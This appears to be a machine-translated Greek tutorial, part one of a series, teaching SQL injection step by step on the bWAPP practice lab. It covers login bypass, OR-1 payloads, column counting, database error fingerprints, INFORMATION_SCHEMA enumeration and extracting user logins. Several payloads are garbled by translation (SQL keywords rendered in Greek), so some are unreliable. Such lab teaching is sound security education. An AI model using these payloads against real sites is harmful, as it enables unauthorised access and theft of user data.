ΕΠΙΛΕΞΤΕ `όνομα`, `κατάσταση`, `βιβλία` ΑΠΟ τα `μέλη` WHERE όνομα = "Demo" ΚΑΙ κωδικός πρόσβασης = "111"

Το ερώτημα είναι παρόμοιο με τη φυσική γλώσσα (Αγγλικά) και το νόημά του είναι αρκετά εύκολο να ερμηνευτεί:

Επιλέξτε (ΕΠΙΛΟΓΗ) τα πεδία «όνομα», «κατάσταση», «βιβλία» από (FROM) τον πίνακα «μέλη» όπου (ΠΟΥ) η τιμή του πεδίου ονόματος είναι ίση με την τιμή Επίδειξη (όνομα = «Επίδειξη») και (ΚΑΙ) η τιμή του πεδίου κωδικού πρόσβασης είναι ίση με την τιμή 111 (κωδικός πρόσβασης = "111").

Αυτό το ερώτημα προκαλεί μια διέλευση πίνακα που συγκρίνει κάθε σειρά και εάν το όνομα = "Demo" ΚΑΙ ο κωδικός πρόσβασης = "111" είναι αληθής για οποιαδήποτε σειρά, περιλαμβάνεται στα αποτελέσματα. Σε αυτήν την περίπτωση, τα αποτελέσματα θα εμφανίζονται μόνο εάν τόσο το όνομα χρήστη όσο και ο κωδικός πρόσβασης που εισάγατε ταιριάζουν ακριβώς με αυτά που είναι αποθηκευμένα στον πίνακα.

Σε αυτήν την περίπτωση, η εφαρμογή λαμβάνει τις τιμές "Demo" και "111" από τον χρήστη - για παράδειγμα, στη φόρμα σύνδεσης του ιστότοπου.

Ας υποθέσουμε ότι αντί για Demo ο χρήστης εισήγαγε την ακόλουθη γραμμή:

Demo" --

Τότε το ερώτημα της βάσης δεδομένων θα μοιάζει με αυτό:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" -- "AND password ="111"

Δύο παύλες ( ) - σημαίνει ένα σχόλιο στο τέλος της γραμμής, δηλ. οτιδήποτε πέρα ​​από αυτά δεν λαμβάνεται πλέον υπόψη. Κατά συνέπεια, το μέρος «εξαφανίζεται» από την έκφραση της συνθήκης "AND password="111"

Εφόσον το απόσπασμα κλεισίματος έμεινε στο σχόλιο, εισήχθη και με το όνομα χρήστη για να μην σπάσει η σύνταξη και να προκληθεί σφάλμα, με αποτέλεσμα, στην πραγματικότητα, να γίνει το ακόλουθο ερώτημα στη βάση δεδομένων:

ΕΠΙΛΕΞΤΕ «όνομα», «κατάσταση», «βιβλία» ΑΠΟ τα «μέλη» WHERE name = "Demo"

Παραβίασε τη λογική του προγράμματος που ορίστηκε από τους προγραμματιστές. Εκείνοι. Τώρα ο πίνακας αναζητείται μόνο με το όνομα. Και αν το όνομα ταιριάζει, τότε η γραμμή εμφανίζεται στα αποτελέσματα ανεξάρτητα από τον κωδικό πρόσβασης που έχετε εισαγάγει. Αυτό είναι ένα παράδειγμα εκμετάλλευσης της ένεσης SQL. Σε μια πραγματική κατάσταση, ένα τέτοιο σφάλμα μπορεί να χρησιμοποιηθεί σε έναν ιστότοπο για να συνδεθείτε με έναν λογαριασμό διαχειριστή, για τον οποίο αρκεί να γνωρίζετε μόνο το όνομα και ο κωδικός πρόσβασης καθίσταται περιττός.

Εκτός από την παράκαμψη του ελέγχου ταυτότητας, η ένεση SQL χρησιμοποιείται για την εξαγωγή πληροφοριών από βάσεις δεδομένων, την πρόκληση άρνησης υπηρεσίας (DoS), την εκμετάλλευση άλλων τρωτών σημείων (όπως το XSS) κ.λπ.

Εκμετάλλευση της ένεσης SQL

Κάθε φορά με οποιαδήποτε εφαρμογή όπου δεν γίνεται εκμετάλλευση της ένεσης SQL, χρησιμοποιούνται τα ακόλουθα τρία βασικούς κανόνεςεκτέλεση:

  • Εξισορρόπηση
  • Εκτέλεση
  • Σχολιάζοντας

Η πράξη εξισορρόπησης είναι ότι ο αριθμός των εισαγωγικών και των παρενθέσεων ανοίγματος και κλεισίματος πρέπει να είναι ο ίδιος για να αποφευχθεί η πρόκληση συντακτικού σφάλματος. Κατά τη διερεύνηση ενός σφάλματος, πρέπει να προσδιορίσετε ποια εισαγωγικά και παρενθέσεις χρησιμοποιούνται και, εάν ναι, ποιες.

Η υλοποίηση συνίσταται στη συμπλήρωση του αιτήματος ανάλογα με τις πληροφορίες που θέλουμε να λάβουμε.

Ο σχολιασμός σάς επιτρέπει να αποκόψετε το τελικό μέρος του αιτήματος ώστε να μην παραβιάζει τη σύνταξη.

Τα σχόλια στη MySQL ξεκινούν με τους χαρακτήρες:

Εκείνοι. αντί για

Demo" --

μπορούσε να εισαχθεί

Σημειώστε ότι μετά τη διπλή γραμμή πρέπει να υπάρχει κενό και μετά # ο χώρος είναι προαιρετικός.

Μπορείτε να συνεχίσετε να αλλάζετε τη λογική του ερωτήματος εάν εισαγάγετε τα ακόλουθα ως όνομα χρήστη:

Επίδειξη" Ή 1 --

τότε λαμβάνετε ένα αίτημα

ΕΠΙΛΕΞΤΕ `όνομα`, `κατάσταση`, `βιβλία` ΑΠΟ τα `μέλη` WHERE όνομα = " Επίδειξη" Ή 1 -- " ΚΑΙ κωδικός πρόσβασης ="111"

Ας αφαιρέσουμε το σχολιασμένο μέρος:

ΕΠΙΛΕΞΤΕ `όνομα`, `κατάσταση`, `βιβλία` ΑΠΟ τα `μέλη` WHERE όνομα = "Demo" Ή 1

Χρησιμοποιούμε λογικό Ή (OR). Το λογικό Ή επιστρέφει true αν τουλάχιστον μία από τις εκφράσεις είναι αληθής. Σε αυτήν την περίπτωση, η δεύτερη έκφραση 1 είναι πάντα αληθής. Κατά συνέπεια, τα αποτελέσματα θα περιλαμβάνουν όλες τις εγγραφές του πίνακα. Σε μια πραγματική διαδικτυακή εφαρμογή, είναι δυνατό να επιτευχθεί ένα αποτέλεσμα όπου εμφανίζονται τα δεδομένα όλων των χρηστών, παρά το γεγονός ότι ο εισβολέας δεν γνώριζε τα στοιχεία σύνδεσης ή τους κωδικούς πρόσβασής τους.

Στο παράδειγμά μας, ακολουθήσαμε την τιμή επίδειξης με ένα μόνο εισαγωγικό (") για να διασφαλίσουμε ότι το ερώτημα παραμένει συντακτικά σωστό. Το ερώτημα μπορεί να γραφτεί με διαφορετικούς τρόπους, για παράδειγμα, οι ακόλουθες φόρμες επιστρέφουν όλες το ίδιο αποτέλεσμα.

Για ερωτήσεις με αριθμούς:

SELECT * FROM table_name WHERE id=1 SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=(1) SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

Για ερωτήματα με συμβολοσειρά:

SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

Ανάλογα με τον τρόπο εγγραφής του αιτήματος, πρέπει να χρησιμοποιήσετε κατάλληλους ζευγοποιημένους χαρακτήρες κλεισίματος για να αποφύγετε παραβιάσεις σύνταξης. Για παράδειγμα, εάν το ερώτημα ήταν γραμμένο έτσι (χρησιμοποιεί διπλά εισαγωγικά αντί για μονά εισαγωγικά):

SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

μετά το όνομα χρήστη

δεν θα είχε κανένα αποτέλεσμα και δεν θα προκαλούσε σφάλμα. Για να υποδείξετε το τέλος του εισαγόμενου ονόματος, χρησιμοποιήστε ένα διπλό εισαγωγικό κλεισίματος, π.χ.

Για ένα ερώτημα όπως αυτό (χρησιμοποιώντας μεμονωμένα εισαγωγικά και παρενθέσεις):

SELECT * FROM `members` WHERE name = ("$name") AND password = ("$password")

πρέπει επίσης να κλείσετε τις παρενθέσεις, δηλ. για να εκμεταλλευτείτε την ένεση SQL πρέπει να εισάγετε κάτι σαν

Επίδειξη") #

Τα κύρια σημάδια μιας ένεσης SQL είναι ένα σφάλμα ή καμία έξοδος κατά την εισαγωγή ενός ή διπλού εισαγωγικού. Αυτοί οι χαρακτήρες μπορούν επίσης να προκαλέσουν σφάλμα στην ίδια την εφαρμογή, επομένως για να βεβαιωθείτε ότι έχετε να κάνετε με ένεση SQL και όχι άλλο σφάλμα, πρέπει να εξετάσετε το μήνυμα που βγαίνει.

Στυλ σφάλματος MySQL:

Έχετε ένα σφάλμα στη σύνταξη SQL. ελέγξτε το εγχειρίδιο που αντιστοιχεί στην έκδοση του διακομιστή MySQL για τη σωστή σύνταξη που θα χρησιμοποιήσετε κοντά στο "\" στη γραμμή 1

Σφάλμα στο MSSQL ASPX:

Σφάλμα διακομιστή στην εφαρμογή "/".

Σφάλμα στο MSAccess (Apache PHP):

Θανατηφόρο σφάλμα: Μη καταγεγραμμένη εξαίρεση "com_exception" με μήνυμα Πηγή: Μηχανή βάσης δεδομένων Microsoft JET

Σφάλμα στο MSAccess (IIS ASP):

Σφάλμα Microsoft JET Database Engine "80040e14"

Σφάλμα στο Oracle:

ORA-00933: Η εντολή SQL δεν ολοκληρώθηκε σωστά

Σφάλμα στο ODBC:

Microsoft OLE DB Provider για προγράμματα οδήγησης ODBC (0x80040E14)

Σφάλμα στο PostgreSQL:

PSQLEΕξαίρεση: ΣΦΑΛΜΑ: μη τερματισμένη συμβολοσειρά εισαγωγικών στο ή κοντά στο """ Θέση: 1 ή Το ερώτημα απέτυχε: ΣΦΑΛΜΑ: σφάλμα σύνταξης στο ή κοντά στο """ στο χαρακτήρα 56 στο /www/site/test.php στη γραμμή 121.

Σφάλμα στον MS SQL Server:

Σφάλμα Microsoft SQL Native Client %u201880040e14%u2019 Μη κλειστό εισαγωγικό μετά τη συμβολοσειρά χαρακτήρων

Οι πληροφορίες σχετικά με το DBMS χρησιμοποιούνται επίσης για να προσδιοριστεί ποιοι χαρακτήρες ή ακολουθίες χαρακτήρων μπορούν να χρησιμοποιηθούν ως σχόλια.

Πρακτικό παράδειγμα απλής ένεσης SQL

Για εκπαίδευση, θα χρησιμοποιήσω το bWAPP (δείτε τον σύνδεσμο για περιγραφή και διαδικασία εγκατάστασης).

Επιλέξτε το σφάλμα " SQL Injection (GET/Search)»/

Αναμένεται να εισαγάγουμε το όνομα της ταινίας, οπότε εισάγετε το "Iron Man" στην αναζήτηση:

Iron Man"

Αποτέλεσμα

Σφάλμα: Έχετε ένα σφάλμα στη σύνταξη SQL. ελέγξτε το εγχειρίδιο που αντιστοιχεί στην έκδοση του διακομιστή MySQL για τη σωστή σύνταξη που θα χρησιμοποιήσετε κοντά στο "%" στη γραμμή 1

Αυτό υποδηλώνει ότι τα μεμονωμένα εισαγωγικά δεν φιλτράρονται και ότι δεν χρησιμοποιούνται για να περικλείουν εισαγόμενες συμβολοσειρές διπλά εισαγωγικά.

Iron Man"

Αποτέλεσμα

Εκείνοι. δεν βρέθηκε τίποτα, πράγμα που σημαίνει ότι τα διπλά εισαγωγικά δεν φιλτράρονται επίσης (αλλιώς θα είχε βρεθεί η ταινία για τον Iron Man). Υποδεικνύει επίσης ότι χρησιμοποιούνται μονά εισαγωγικά για να περιβάλλουν τις εισαγόμενες συμβολοσειρές.

Με βάση τις πληροφορίες που λάβαμε, δημιουργούμε μια γραμμή για την εμφάνιση όλων των εγγραφών πίνακα:

Iron Man"OR 1#

Αποτέλεσμα:

Προσδιορισμός του αριθμού των στηλών του πίνακα χρησιμοποιώντας ORDER BY

Για να δημιουργήσετε πιο σύνθετες εντολές έγχυσης, πρέπει να γνωρίζετε πόσες στήλες υπάρχουν στον πίνακα.

ORDER BY καθορίζει την ταξινόμηση των δεδομένων που λαμβάνονται από τον πίνακα. Μπορείτε να ταξινομήσετε με βάση το όνομα της στήλης ή τον αριθμό της. Επιπλέον, εάν δεν υπάρχει στήλη με αυτόν τον αριθμό, θα εμφανιστεί ένα σφάλμα.

Προσπαθούμε με συνέπεια παρακάτω γραμμές(ΚΑΙ 0 χρησιμοποιείται για να καταστείλει την περιττή έξοδο):

Iron Man" ΚΑΙ 0 ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 1 # Iron Man" ΚΑΙ 0 ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 2 # Iron Man" ΚΑΙ 0 ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 3 # ……………………………………………………………… ………… Iron Man" ΚΑΙ 0 ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 7 #

Iron Man" ΚΑΙ 0 ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 8 #

προέκυψε το εξής αποτέλεσμα:

Σφάλμα: Άγνωστη στήλη "8" στην "ρήτρα παραγγελίας"

Αυτό σημαίνει ότι λείπει η όγδοη στήλη από τον πίνακα, δηλ. Ο πίνακας έχει μόνο επτά στήλες.

Ένας άλλος τρόπος για να βρείτε τον αριθμό των στηλών είναι να χρησιμοποιήσετε το ίδιο UNION. Χρησιμοποιώντας μια σκάλα προσθέτουμε τον αριθμό των στηλών:

Iron Man" AND 0 UNION SELECT 1 # Iron Man" ΚΑΙ 0 UNION SELECT 1,2 # ………………………………………………………………………… Iron Man" ΚΑΙ 0 ΕΠΙΛΟΓΗ ΕΝΩΣΗΣ 1,2,3,4,5,6,7 #

Όλα θα παράγουν το ίδιο σφάλμα:

Σφάλμα: Οι δηλώσεις SELECT που χρησιμοποιούνται έχουν διαφορετικό αριθμό στηλών

Κάντε αυτό μέχρι να εξαφανιστεί το μήνυμα σφάλματος.

Σύνδεση ερωτημάτων με το UNION SELECT

ΕΝΩΣΗσας επιτρέπει να συνδυάσετε τα αποτελέσματα σε μία από πολλές εκφράσεις ΕΠΙΛΕΓΩ.

Κατασκευάζουμε το αίτημά μας με ΕΝΩΣΗ:

Iron Man" ΚΑΙ 0 UNION SELECT 1,2,3,4,5,6,7 #

Όπως είπα ο αριθμός των πεδίων πρέπει να είναι και στα δύο ΕΠΙΛΕΓΩτο ίδιο, αλλά αυτό που υπάρχει σε αυτούς τους τομείς δεν είναι πολύ σημαντικό. Μπορείτε, για παράδειγμα, απλώς να εισάγετε αριθμούς - και αυτοί είναι αυτοί που θα εμφανιστούν. Μπορείτε να εγγραφείτε ΑΚΥΡΟΣ- τότε δεν θα εμφανίζεται τίποτα αντί για το πεδίο.

Λάβετε υπόψη ότι τα περιεχόμενα ορισμένων πεδίων UNION SELECT 2,3,4,5 εμφανίζονται στην οθόνη. Αντί για αριθμούς, μπορείτε να καθορίσετε συναρτήσεις.

Τι να γράψετε στο SELECT

Υπάρχουν ορισμένες συναρτήσεις και μεταβλητές που μπορούν να γραφτούν απευθείας ΕΝΩΣΗ:

Μεταβλητή/Συνάρτηση Σύναψη
@@όνομα κεντρικού υπολογιστή Τρέχον όνομα κεντρικού υπολογιστή
@@tmpdir Κατάλογος για προσωρινά αρχεία
@@datadir Κατάλογος βάσης δεδομένων
@@εκδοχή Έκδοση DB
@@basedir Βασικός κατάλογος
μεταχειριζόμενος() Τρέχων χρήστης
βάση δεδομένων() Τρέχουσα βάση δεδομένων
εκδοχή() Εκδοχή
schema() Τρέχουσα βάση δεδομένων
UUID() Κλειδί UUID συστήματος
τρέχον_χρήστης() Τρέχων χρήστης
τρέχον_χρήστη Τρέχων χρήστης
system_user() Ρεύμα χρήστη του συστήματος
session_user() Χρήστης συνεδρίας
@@GLOBAL.have_symlink Έλεγχος εάν οι συμβολικοί σύνδεσμοι είναι ενεργοποιημένοι ή απενεργοποιημένοι
@@GLOBAL.have_ssl Έλεγχος εάν το SSL είναι διαθέσιμο ή όχι

Εισαγάγετε για να λάβετε το όνομα της βάσης δεδομένων:

Iron Man" ΚΑΙ 0 UNION SELECT 1,database(),3,4,5,6,7 #

Βάση δεδομένων INFORMATION_SCHEMA

Η MySQL/MariaDB είναι πάντα παρούσα στη λίστα των βάσεων δεδομένων INFORMATION_SCHEMA. Αυτή είναι μια βάση δεδομένων υπηρεσιών που παρέχει πρόσβαση σε μεταδεδομένα βάσης δεδομένων, πληροφορίες σχετικά με Διακομιστής MySQL. Με απλά λόγια, περιέχει πληροφορίες για όλες τις άλλες βάσεις δεδομένων που υποστηρίζει ο διακομιστής MySQL/MariaDB. Αυτές οι πληροφορίες περιλαμβάνουν ονόματα βάσεων δεδομένων και πινάκων.

Για παράδειγμα, το ακόλουθο ερώτημα θα αναφέρει τα ονόματα όλων των βάσεων δεδομένων που υπάρχουν στον διακομιστή:

ΕΠΙΛΕΞΤΕ SCHEMA_NAME ΑΠΟ INFORMATION_SCHEMA.SCHEMATA

  • ΕΠΙΛΕΓΩΚαι ΑΠΟ- ήδη οικεία στοιχεία της γλώσσας ερωτημάτων της βάσης δεδομένων.
  • SCHEMA_NAME- όνομα της ζητούμενης στήλης·
  • INFORMATION_SCHEMA- όνομα της βάσης δεδομένων στην οποία υποβάλλεται το αίτημα·
  • ΣΧΗΜΑΤΑ- το όνομα του πίνακα στον οποίο γίνεται αναζήτηση της ζητούμενης στήλης.

Λήψη λίστας με όλες τις βάσεις δεδομένων στον διακομιστή μέσω SQL injection

Χρησιμοποιώντας ΕΝΩΣΗ, μπορούμε να ρωτήσουμε τη βάση δεδομένων INFORMATION_SCHEMA. Για παράδειγμα, για να εμφανίσετε τα περιεχόμενα ενός πεδίου SCHEMA_NAME(ονόματα των βάσεων δεδομένων που υπάρχουν στον διακομιστή), μπορείτε να εισαγάγετε κάτι σαν το εξής:

Μερικές φορές μια δέσμη ενεργειών εφαρμογής web που είναι επιρρεπής σε ένεση SQL εμφανίζει μόνο μία εγγραφή κάθε φορά. Στο παράδειγμά μας αυτό δεν συμβαίνει, αλλά αν, για παράδειγμα, η είσοδος

Iron Man" ΚΑΙ 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

εμφανιζόταν μόνο μία εγγραφή κάθε φορά, τότε για να δείτε όλους τους πίνακες, θα μπορούσατε να χρησιμοποιήσετε ΟΡΙΟ. Για παράδειγμα, για την πρώτη γραμμή:

Iron Man" ΚΑΙ 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

Για τη δεύτερη γραμμή:

Iron Man" ΚΑΙ 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

Για την τρίτη γραμμή:

Iron Man" ΚΑΙ 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

Για την τέταρτη γραμμή:

Iron Man" ΚΑΙ 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

Μπορείτε να χρησιμοποιήσετε πιο σύνθετη σύνταξη χρησιμοποιώντας ΟΠΟΥκαι λειτουργίες. Για παράδειγμα, η ακόλουθη είσοδος θα εμφανίσει τα ονόματα πινάκων της τρέχουσας βάσης δεδομένων:

Iron Man" ΚΑΙ 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=βάση δεδομένων() #

Αφού έχετε τα ονόματα των πινάκων της βάσης δεδομένων, μπορείτε να συνεχίσετε περαιτέρω και να λάβετε τα ονόματα στηλών:

Επιθυμητό αίτημα:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="tablenamehere"

Όπου αντί όνομα πίνακα εδώπρέπει να αντικαταστήσετε το όνομα του πίνακα.

Για παράδειγμα, λάβαμε επόμενα ονόματαπίνακες που υπάρχουν στη βάση δεδομένων:

  • ήρωες
  • κινηματογράφος
  • χρήστες
  • επισκέπτες

Στη συνέχεια, για να λάβετε τα ονόματα των στηλών στον πίνακα ιστολογίου, πρέπει να δημιουργήσετε ένα ερώτημα

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="blog"

Σε σχέση με την ευπάθειά μας, λαμβάνουμε τα ακόλουθα δεδομένα:

Iron Man" ΚΑΙ 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=βάση δεδομένων() AND TABLE_NAME="blog" #

Μπορεί επίσης να χρησιμοποιηθεί εδώ ΟΡΙΟ.

Εξαγωγή δεδομένων από έναν πίνακα με χρήση SQL injection

Τώρα που γνωρίζουμε το όνομα της βάσης δεδομένων, το όνομα του πίνακα και το όνομα του πεδίου, μπορούμε να ανακτήσουμε δεδομένα από μια προσαρμοσμένη στήλη. Για παράδειγμα, εισάγετε:

Για παράδειγμα, η ακόλουθη εισαγωγή για την ευπάθειά μας σημαίνει εξαγωγή των περιεχομένων της στήλης σύνδεσηαπό το τραπέζι χρήστεςαπό την τρέχουσα βάση δεδομένων:

Iron Man" ΚΑΙ 0 UNION SELECT 1,login,3,4,5,6,7 ΑΠΟ χρήστες #

Συμπέρασμα για το πρώτο μέρος

Το πρώτο μέρος κάλυψε τα βασικά της SQL injection. Τα επόμενα μέρη θα καλύψουν διάφορα είδη SQLi και παραδείγματα λειτουργίας σε διάφορες συνθήκες. Εάν δυσκολεύεστε να κατανοήσετε αυτό το υλικό, συνιστάται να ξεκινήσετε μαθαίνοντας τη γλώσσα ερωτημάτων της βάσης δεδομένων. Εάν έχετε οποιεσδήποτε ερωτήσεις, γράψτε τις στα σχόλια.